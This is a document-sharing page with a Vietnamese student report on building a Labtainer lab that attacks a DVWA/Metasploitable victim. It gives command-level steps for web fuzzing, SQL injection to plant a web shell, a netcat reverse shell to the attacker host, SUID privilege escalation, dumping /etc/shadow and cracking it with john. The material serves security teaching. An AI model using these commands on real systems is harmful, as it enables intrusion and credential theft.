1. Trang chủ
  2. » Giáo Dục - Đào Tạo

báo cáo xây dựng bài lab khó explore lab

38 0 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Xây dựng Bài Lab Khó
Tác giả Đàm Văn Trung, Trịnh Công Toàn, Phạm Văn Thanh, Trần Tuấn Anh
Người hướng dẫn TS Đinh Trường Duy
Trường học Học Viện Công Nghệ Bưu Chính Viễn Thông
Chuyên ngành Chuyên đề an ninh mạng
Thể loại Báo cáo
Năm xuất bản 2023
Thành phố Hà Nội
Định dạng
Số trang 38
Dung lượng 3,55 MB

Cấu trúc

  • 1. Nội dung và hướng dẫn thực hiện bài thực hành (5)
    • 1.1. Mục đích (5)
    • 1.2. Yêu cầu đối với sinh viên (5)
    • 1.3. Nội dung thực hành (5)
  • 2. Phân tích, thiết kế bài thực hành (8)
    • 2.1. Phân tích yêu cầu bài thực hành (8)
    • 2.2. Thiết kế bài thực hành (9)
  • 3. Cài đặt và cấu hình các máy ảo (13)
  • 4. Thử nghiệm và đánh giá (16)
  • 5. Hướng dẫn tải bài thực hành từ imodule và module chấm điểm (34)
  • TÀI LIỆU THAM KHẢO (38)

Nội dung

Đầu tiên chạy lệnh sudo cp ffuf/ffuf /usr/local/bin/ để có thể sử dụng ffuf • Sau đó tiến hành fuzzing máy chủ web nạn nhân : ffuf -w -u /FUZZ Nhiệm vụ của bạn là tìm được miền có tên s

Nội dung và hướng dẫn thực hiện bài thực hành

Mục đích

− Giúp sinh viên biết cách sử dụng ffuf ,john,khai thác lỗi sqli ,nâng cao đặc quyền, sử dụng python để viết script giải các loại mật mã khác nhau.

Yêu cầu đối với sinh viên

− Có kiến thức cơ bản về hệ điều hành Linux, python,Lỗ hổng sql-injection,các kĩ thuật nâng cao đặc quyền.

Nội dung thực hành

• Khởi động bài lab: o Vào terminal, gõ: startlab explore_lab

(chú ý: sinh viên sử dụng email stu.ptit.edu.vn của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: attacker , một cái là đại diện cho máy nạn nhân: victim Biết rằng 2 máy nằm cùng mạng LAN

Task 1: Xác định địa chỉ IP và các dịch vụ bằng nmap

• Trên terminal attacker sử dụng lệnh “ifconfig”, xác định địa chỉ IP và địa chỉ mạng LAN

• Trên máy khách attacker sử dung nmap để tìm ra địa chỉ IP của máy victim vì chúng cùng nằm trong mạng LAN nmap –sP

Tiếp tục sử dụng nmap để tìm cổng dịch vụ đang mở trên máy victim nmap

Task 2: Sử dụng ffuf để fuzzing web

• Sau khi xác định được cổng http đang mở Sử dụng ffuf để liệt kê các miền trong webserver :

5 Đầu tiên chạy lệnh sudo cp ffuf/ffuf /usr/local/bin/ để có thể sử dụng ffuf

• Sau đó tiến hành fuzzing máy chủ web nạn nhân : ffuf -w -u /FUZZ

Nhiệm vụ của bạn là tìm được miền có tên sqli

Task 3: Tạo 1 reverse shell kết nội đến máy attacker

• Tiến hành truy cập web server bằng trình duyệt firefox firefox

• Truy cập vào trang dvwa thì thấy yêu cầu đăng nhập (bạn hãy quan sát kĩ trang này để tìm được username và password)

• Sau khi đăng nhập thành công chọn mục sercurity và chỉnh xuống low và click submit

• Tiếp theo tiến hành truy cập vào trang sqli và quan sát

Bạn hãy nhập thử ‘ order by 2 # với các số khác nhau để tìm được số trường dữ liệu phục vụ cho việc tạo shell

Sau đó hãy tiến hành tạo một file có tên cmd.php với nội dung là Vào thư mục /var/www/dvwa (gợi ý : sử dụng toán tử union select để kết hợp kết quả của 2 truy vấn và câu lệnh into outfile để ghi một file : ‘ union , < truy vấn 2> #)

Task 4: Kết nối reverse shell

• Sau khi tạo được file revreshell thành công trên máy attacker khởi động netcat để lắng nghe kết nối : nc -lnvp

• Trên trình duyệt firefox lúc này ta truy cập vào file cmd.php vừa tạo và thử với vào câu lệnh whoami, uname -a

• Bạn hãy tạo một shell kết nối đến máy tấn công.(tạo một shell bằng netcat ,php,python, kết nối đến kênh kết nối từ attacker)

Task 5: Leo thang đặc quyền root

• Sau khi kết nối thành công, bạn hãy leo lên quyền root bằng cách kiểm tra các tệp tin có quyền thực thi s-bit (SUID) find / -perm -u=s -type f 2>/dev/null

(gợi ý : sử dụng python suid)

Task 6:Đọc File bí mật

• Sau khi leo lên quyền root tiến hành đọc file trong thư mục /root bạn hãy quan sát nội dung file để tìm được thông tin quan trọng

Task 7 : Crack password bằng john

• Việc tiếp theo bạn phải làm đó chính là lấy được tệp dữ liệu trên máy victim

Dựa trên thông tin vừa nhận được trong task 6 hãy truy nhập đến vị trí của tệp dữ liệu đó và quan sát

• Tiếp theo chúng ta cần crack password của nạn nhân để truy cập vào chuyển file dữ liệu về máy tấn công

• Chúng ta sẽ lấy file shadow của nạn nhân : cat /etc/shadow

• Tiến hành copy và lưu thông tin vào máy attacker

• Sử dụng john để brute force phá mật khẩu : john -w=wordlist.txt

Task 8:Giải mã file dữ liệu

• Sau khi phá được mật khẩu tiến hành ssh vào máy nạn nhân: ssh @

• Tiến hành chuyển file dữ liệu về máy attacker để giải mã: scp ubuntu@:~/

• Quan sát file dữ liệu và chỉnh sửa file decode_challenge.py để giải mã giữ liệu nhận được flag python2 decode_challenge.py

(Gợi ý :chỉnh sửa sao cho có thể giải mã base64,hex,rot13,bigint,utf-8 từ file dữ liệu đầu vào dạng json)

Trên terminal đầu tiên sử dụng câu lênh sau để kết thúc bài lab: stoplab explore_lab

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab

• Khởi động lại bài lab:

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh: startlab –r explore_lab

Phân tích, thiết kế bài thực hành

Phân tích yêu cầu bài thực hành

Bài thực hành cần có hai máy tính nằm trong cùng mạng LAN Trong đó một máy làm tấn công, một máy làm máy nạn nhân chứa tệp tin mà sinh viên cần tìm ra và các lỗ hổng để tấn công Trên máy tấn công cần cài đặt phần mềm nmap và máy chủ apache Sử dụng dịch vụ nmap để tìm cổng của máy chủ Để hoàn thành bài thực hành, sinh viên cần sử dụng máy tấn công để truy cập vào trang web của máy nạn nhân và thực hiện cuộc tấn công sql injection và mở 1 revershell trên máy nạn nhân, từ đó leo thang lên quyền root và tìm kiếm các thông tin nhạy cảm như file chứa mật khẩu,file dữ liệu Để đáp ứng yêu cầu bài thực hành, cần cung cấp máy ảo chứa docker trong đó có 2 containers, mỗi container là một máy tính ảo chạy hệ điều hành Linux là máy tấn công và máy nạn nhân Để có thể thực hiện được việc rà quét lỗ hổng thì hệ thống cần cung cấp khả năng thiết lập một mạng LAN giữa máy chủ và máy khách, đồng thời cung cấp các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh Trên máy tấn công cần cài đặt và sử dụng được công cụ nmap, máy chủ web apache2, trình duyệt web firefox và công cụ netcat Hệ thống cần ghi lại được các thao tác sử dụng công cụ nmap, netcat của sinh viên thông qua các câu lệnh để tạo ra được kết quả đánh giá Hệ thống yêu cầu sinh viên nhập email gắn liền với danh tính của sinh viên, và ghi lại thao tác mở tệp phía máy chủ để thực hiện việc cá nhân hóa cho từng sinh viên Để bắt đầu bài thực hành, sinh viên cần phải sử dụng các câu lệnh khởi tạo (startlab ) và câu lệnh kết thúc (stoplab ) để hệ thống chạy bài lab cũng như lưu lại kết quả

Thiết kế bài thực hành

Trên môi trường máy ảo Ubuntu được cung cấp, sử dụng docker tạo ra 2 container: 1 container mang tên “attacker” đóng vai trò máy khách và 1 container mang tên “victim” đóng vai trò máy chủ, 2 máy đều được mở các cổng cần thiết Hình 1.1 mô tả sơ đồ thiết kế bài thực hành

Hình 1 Sơ đồ thiết kế bài thực hành

- Tạo mạng LAN “INTRANET” có cấu hình: 192.168.1.0/24 và gateway:

192.168.1.254 - Cấu hình docker gồm có:

● Attacker: lưu cấu hình cho máy khách, trong đó gồm có:

▪ Địa chỉ trong mạng LAN: 192.168.1.1

● Victim: lưu cấu hình cho máy chủ, trong đó gồm có:

▪ Địa chỉ trong mạng LAN: 192.168.1.2

● config: lưu cấu hình hoạt động của hệ thống

● dockerfiles: mô tả cấu hình của 2 container: attacker và victim, trong đó:

▪ attacker: sử dụng image network2 và cài thêm công cụ netcat,firefox,git,curl,john,ffuf

▪ victim: sử dụng image metasploitable

● docs: lưu phần mô tả hướng dẫn làm bài thực hành cho sinh viên

▪ Các nhiệm vụ cần phải thực hiện để thực hành thành công:

✔ Sử dụng câu lệnh “ifconfig” để kiểm tra địa chỉ mạng LAN của máy “attacker”

✔ Trên máy “attacker” sử dung nmap để tìm ra các máy trong mạng và từ đó quét các cổng dịch vụ của máy “victim”

✔ Sau khi xác định được cổng http đang mở Sử dụng firefox để truy cập vào web đang chạy trên máy “victim”

✔ Tại máy “attacker”, dung công cụ netcat để chờ kết nối từ máy

✔ Sau khi truy cập được vào web đang chạy trên máy “victim” thì thực hiện cuộc tấn công sql injection, tạo revershell từ máy

“victim” kết nối đến máy attacker

✔ Từ reverse shell trên máy “attacker”, tiến hành leo thang đặc quyền root

✔ Đọc file trong thư mục “/root”

✔ Copy file shadow về máy “attacker”

✔ Sử dụng john crack password

✔ Ssh vào máy nạn nhân

✔ Sử dụng scp chuyển file data về máy

✔ Tiến hành giải mã nội dung đã được mã hóa trong file bằng 1 chương trình python

✔ Kết thúc bài lab và đóng gói kết quả

● instr_config: lưu cấu hình cho phần nhận kết quả và chấm điểm

- Thiết lập hệ thống mạng sao cho máy tấn công và máy nạn nhân cùng một mạng LAN

- Các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh,netcat

10 - Máy nạn nhân cần cài dịch vụ web, ssh,netcat o Tạo ra file ẩn chứa dữ liệu được mã hóa data.json và file cá nhân hóa filetoview.txt

- Máy tấn công cần được cài công cụ nmap, netcat,curl,git.ffuf, trình duyệt firefox,john

● Tạo ra tệp trên máy tấn công mang tên fuzz_dic.txt,wordlist.txt, decode_challenge.py

● Sau khi hoàn thành bài thực hành, hệ thống cần tự động lưu lại kết quả vào 1 file

- Để đánh giá được sinh viên đã hoàn thành bài thực hành hay chưa, cần chia bài thực hành thành các nhiệm vụ nhỏ, mỗi nhiệm vụ cần phải chỉ rõ kết quả để có thể dựa vào đó đánh giá, chấm điểm Do vậy, trong bài thực hành này hệ thống cần ghi nhận các thao tác, sự kiện được mô tả và cấu hình như bảng 1.1, 1.2, 1.3:

Cấu hình cho việc cá nhân hóa

Operator File name Symbol Hashed string Step

HASH_REPLAC E victim:/root/ filetoview.tx t

Cấu hình cho kiểm tra kết quả

Container File Field Type Field ID Timestam p Type nmap attacker nmap.stdout CONTAIN

80/tcp open http file fuzzing attacker ffuf.stdout CONTAIN

11 create_she ll cictim /var/www/dv wa/cmd.php

"]) file connected attacker nc.stdout CONTAIN

Connection received on 192.168.1.2 file privilege_ escalation attacker nc.stdout CONTAIN

S root file crackpass attacker john.stdout CONTAIN

S msfadmin (msfadmin) file view_secr et_file attacker nc.stdout TOKEN 2:STARTS

FLAG: file decoded attacker python2.stdo ut

CONTAIN S eneisaiiwcs balvshstbsr rnbracagcm pthrpvpdik file

Parameter viewfile matchany String_equal View_secret_file Parameter FSTRING

● Sau khi nhận được file đóng gói từ sinh viên, giảng viên sử dụng chức năng chấm điểm để xem kết quả được thiết kế dạng bảng trong đó ghi rõ email của sinh viên thực hiện, từng tiêu chí chấm điểm được ghi nhận ( nếu có chữ “Y” là đã hoàn thành, nếu không có là chưa hoàn thành) và kết luận là sinh viên đã hoàn thành bài thực hành đó hay chưa Kiểm tra bài thực hành đúng do sinh viên làm bằng cách kiểm tra email

Create _shell revrese_shell Privilege_esc alation

Cài đặt và cấu hình các máy ảo

Cấu hình file máy ảo:

Cần cài thêm công cụ netcat, trình duyệt firefox, git,curl,john,ffuf

Thử nghiệm và đánh giá

Chúng tôi đã xây dựng thành công bài thực hành, dưới đây là các hình ảnh minh họa về bài thực hành:

Khởi chạy bài lab : labtainer -r explore_lab

Hình 10 Khởi chạy bài thực hành

16 Kiểm tra thông tin mạng con:

Hình 11 Kiểm tra thông tin mạng LAN

Quét các máy trong mạng:

Quét các dịch vụ đang mở: nmap 192.168.1.2

Hình 13 Quét các dịch vụ

Copy ffuf vào thư mục /usr/local/bin: sudo cp ffuf/ffuf /usr/local/bin/

18 Sử dụng ffuf liệt kê các thư mục trong host 192.168.1.2 ffuf -w fuzz_dic.txt -u http://192.168.1.2/FUZZ

Fuff tìm thư mục trong Miền 192.168.1.2/dvwa ffuf -w fuzz_dic.txt -u http://192.168.1.2/dvwa/FUZZ

Fuff tìm thư mục trong miền 192.168.1.2/dvwa/vulnerabilities

19 ffuf -w fuzz_dic.txt -u http://192.168.1.2/dvwa/vulnerabilities/FUZZ

Truy cập 192.168.1.2/dvwa bằng trình duyệt firefox thì thấy yêu cầu đăng nhập

Sau khi đăng nhập với người dùng admin thì truy cập mục security và chỉnh xuống low

Truy cập vào mục sqli và thử với user id =1 thấy trả kết quả :

Thử với ‘ order by 3 # thì thấy báo lỗi => có 2 cột

Tiến hành tạo một file cmd.php có nội dung là

Vào thư mục /var/www/dvwa

Truy cập vào file cmd.php từ firefox

Hình 27 truy cập cmd.php

192.168.1.2/dvwa/cmd.php?cmd=whoami

192.168.1.2/dvwa/cmd.php?cmd=uname -a

Trên máy attacker khởi động netcat lắng nghe trên cổng 1234 nc -lnvp 1234

Tạo một revershell kết nối từ máy victim đến attacker

192.168.1.2/dvwa/cmd.php?cmd=nc 192.168.1.1 1234 -e /bin/bash

Hình 31 Tạo shell kết nối

Hình 32 Kết nối thành công

Thử đọc 1 số file trên netcat shell thấy không đọc được cat /root/filetoview.txt

Hình 34 Đọc file trên shell

Tìm kiếm các tệp tin có quyền thực thi s-bit find / -perm -u=s -type f 2>/dev/null

Hình 35 Tìm File có quyền thực thi SUID

Sử dụng python để leo lên quyền root python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Hình 36 Leo thang đặc quyền

Hình 37 Checkwork5 Đọc filetoview.txt phát hiện thông tin ẩn cat /root/filetoview.txt

Hình 38 Đọc file cá nhân hóa

Hình 39 Checkwork6 cd vào thư mục data phát hiện file ẩn data.json cd /data ls -la

Hình 40 Tìm được file dữ liệu ẩn Đọc file data.json cat data.json

Hình 41 Đọc file dữ liệu

Do file dữ liệu khá là dài nên ta tiến hành crack password của nạn nhân để có thể ssh vào sử dụng scp chuyển file về máy attacker Đọc file /etc/shadow lấy về máy attacker lưu vào file password.txt cat /etc/shadow

Hình 43 Lưu vào file password.txt trên máy attacker

Sử dụng john để crack pass với wordlist.txt john -w=wordlist.txt password.txt

Ssh vào tài khoản msfadmin ssh msfadmin@192.168.1.2 nhập password: msfadmin

Sử dụng scp chuyển file data.json về máy scp data.json ubuntu@192.168.1.1:~/ nhập password : ubuntu

Hình 47 Chuyển file về máy attacker

Trên máy attacker đã nhận được file data.json

Hình 48 Nhận được file dữ liệu trên máy attacker

Nhận thấy đây là 1 file chứa nhiều loại mã hóa

Hình 49 Đọc file dữ liệu

Chỉnh sửa file decode_challenge.py

Sau khi chỉnh sửa xong tiến hành chạy file để giải mã Sử dụng python2 python2 decode_challenge.py data.json

Giải mã thành công nhận được FLAG Checkwork kết thúc toàn bộ bài thực hành :

Hướng dẫn tải bài thực hành từ imodule và module chấm điểm

Tải imodule chứa bài thực hành về máy ảo labtainer : Có thể clone về trong máy bằng git git clone https://github.com/congtoan123/ANM

Hoặc tải trực tiếp về rồi đưa vào máy ảo labtainer

Hình 56 Tải từ trình duyệt về

Hình 57 Giải nén imodule.zip

Hình 58 copy vào labtainer/trunk/labs

Tiến hành cope file vào thư mục /labtainer/trunk/labs Chạy lab : labtainer explore_lab

Hình 62 Tạo thành công file csv từ json

Ngày đăng: 05/07/2024, 14:03

Nguồn tham khảo

Tài liệu tham khảo Loại Chi tiết
[1] DRD_, "Use SQL Injection to Run OS Commands &amp; Get a Shell," [Online]. Available: https://null-byte.wonderhowto.com/how-to/use-sql-injection-run-os-commands-get-shell-0191405/ Sách, tạp chí
Tiêu đề: Use SQL Injection to Run OS Commands & Get a Shell
[2] V. T. Hòa, "Fuzzing web với FFUF," [Online]. Available: https://viblo.asia/p/fuzzing- web-voi-ffuf-LzD5dekwKjY Sách, tạp chí
Tiêu đề: Fuzzing web với FFUF
[3] "revshells.com," [Online]. Available: https://www.revshells.com/ Sách, tạp chí
Tiêu đề: revshells.com
[4] C. Security, "Lab 63 – Cracking Advanced Hashes with John the Ripper," [Online]. Available: https://www.101labs.net/comptia-security/lab-63-cracking-advanced-hashes-with-john-the-ripper/ Sách, tạp chí
Tiêu đề: Lab 63 – Cracking Advanced Hashes with John the Ripper
[5] CryptoHack, "Encoding Challenge," [Online]. Available: https://cryptohack.org/challenges/general/ Sách, tạp chí
Tiêu đề: Encoding Challenge

HÌNH ẢNH LIÊN QUAN

Hình 1. Sơ đồ thiết kế bài thực hành - báo cáo xây dựng bài lab khó explore lab
Hình 1. Sơ đồ thiết kế bài thực hành (Trang 9)
Hình 2. Cấu hình labedit - báo cáo xây dựng bài lab khó explore lab
Hình 2. Cấu hình labedit (Trang 13)
Hình 5. Config network - báo cáo xây dựng bài lab khó explore lab
Hình 5. Config network (Trang 15)
Hình 9. Folder attacker - báo cáo xây dựng bài lab khó explore lab
Hình 9. Folder attacker (Trang 16)
Hình 10. Khởi chạy bài thực hành - báo cáo xây dựng bài lab khó explore lab
Hình 10. Khởi chạy bài thực hành (Trang 16)
Hình 11. Kiểm tra thông tin mạng LAN - báo cáo xây dựng bài lab khó explore lab
Hình 11. Kiểm tra thông tin mạng LAN (Trang 17)
Hình 13. Quét các dịch vụ - báo cáo xây dựng bài lab khó explore lab
Hình 13. Quét các dịch vụ (Trang 18)
Hình 17. fuzzing 192.168.1.2/dvwa - báo cáo xây dựng bài lab khó explore lab
Hình 17. fuzzing 192.168.1.2/dvwa (Trang 19)
Hình 16. fuzzing 192.168.1.2 - báo cáo xây dựng bài lab khó explore lab
Hình 16. fuzzing 192.168.1.2 (Trang 19)
Hình 18. fuzzing 192.168.1.2/dvwa/vulnerabilities - báo cáo xây dựng bài lab khó explore lab
Hình 18. fuzzing 192.168.1.2/dvwa/vulnerabilities (Trang 20)
Hình 20. truy cập 192.168.1.2/dvwa - báo cáo xây dựng bài lab khó explore lab
Hình 20. truy cập 192.168.1.2/dvwa (Trang 21)
Hình 22. test với userid =1 - báo cáo xây dựng bài lab khó explore lab
Hình 22. test với userid =1 (Trang 22)
Hình 21. setting dvwa security - báo cáo xây dựng bài lab khó explore lab
Hình 21. setting dvwa security (Trang 22)
Hình 25.Create shell - báo cáo xây dựng bài lab khó explore lab
Hình 25. Create shell (Trang 24)
Hình 26. checkwork3 - báo cáo xây dựng bài lab khó explore lab
Hình 26. checkwork3 (Trang 24)
Hình 28. cmd=whoami - báo cáo xây dựng bài lab khó explore lab
Hình 28. cmd=whoami (Trang 25)
Hình 35. Tìm File có quyền thực thi SUID - báo cáo xây dựng bài lab khó explore lab
Hình 35. Tìm File có quyền thực thi SUID (Trang 27)
Hình 41. Đọc file dữ liệu - báo cáo xây dựng bài lab khó explore lab
Hình 41. Đọc file dữ liệu (Trang 29)
Hình 42. Đọc file shadow - báo cáo xây dựng bài lab khó explore lab
Hình 42. Đọc file shadow (Trang 29)
Hình 43. Lưu vào file password.txt trên máy attacker - báo cáo xây dựng bài lab khó explore lab
Hình 43. Lưu vào file password.txt trên máy attacker (Trang 30)
Hình 45. Checkwork7 - báo cáo xây dựng bài lab khó explore lab
Hình 45. Checkwork7 (Trang 30)
Hình 48. Nhận được file dữ liệu trên máy attacker - báo cáo xây dựng bài lab khó explore lab
Hình 48. Nhận được file dữ liệu trên máy attacker (Trang 31)
Hình 47. Chuyển file về máy attacker - báo cáo xây dựng bài lab khó explore lab
Hình 47. Chuyển file về máy attacker (Trang 31)
Hình 49. Đọc file dữ liệu - báo cáo xây dựng bài lab khó explore lab
Hình 49. Đọc file dữ liệu (Trang 32)
Hình 53. Capture the flag - báo cáo xây dựng bài lab khó explore lab
Hình 53. Capture the flag (Trang 34)
Hình 55. Git clone - báo cáo xây dựng bài lab khó explore lab
Hình 55. Git clone (Trang 35)
Hình 58. copy vào labtainer/trunk/labs - báo cáo xây dựng bài lab khó explore lab
Hình 58. copy vào labtainer/trunk/labs (Trang 36)
Hình 60. gradelab explore_lab -w - báo cáo xây dựng bài lab khó explore lab
Hình 60. gradelab explore_lab -w (Trang 37)
Hình 62. Tạo thành công file csv từ json - báo cáo xây dựng bài lab khó explore lab
Hình 62. Tạo thành công file csv từ json (Trang 38)

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w